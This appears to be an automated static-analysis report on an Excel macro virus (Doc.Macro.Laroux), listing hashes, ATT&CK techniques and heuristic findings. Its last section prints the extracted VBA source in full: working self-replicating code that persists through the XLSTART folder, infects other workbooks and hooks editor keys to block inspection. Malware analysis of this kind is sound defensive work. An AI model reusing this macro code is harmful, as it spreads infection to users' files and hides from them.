Doc.Macro.Laroux-5893719-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 148d29774a34575e…

MALICIOUS

Office (OLE)

24.0 KB Created: 2010-11-22 09:26:29 Authoring application: Microsoft Excel First seen: 2014-07-15
MD5: 079ada49f47737890cdea931ef05ce00 SHA-1: 49cc4996faaa9d7b7b602d22f8e2038c91edb994 SHA-256: 148d29774a34575e35948eda10a2646eeee5645e79c0d764f2b98a810f16c596
208 Risk Score

Malware Insights

Doc.Macro.Laroux-5893719-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1564.001 Hidden Window

This malicious Excel document contains VBA macros designed to achieve persistence. The `auto_open` subroutine copies the workbook to the Excel XLSTART startup folder as 'StartUp.xls' and hooks Excel events (`OnSheetActivate`, `OnKey`) to evade detection and inspection. The `acop` subroutine attempts to reinfect other workbooks by copying itself into them. The ClamAV detection name 'Doc.Macro.Laroux-5893719-0' further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = "StartUp.xls!acop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
      Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1266 bytes
SHA-256: 9cf30006ad2433e2552b67c7a5d897362bb3d404701b5089dc1883f62723c502
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Nam
    
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!acop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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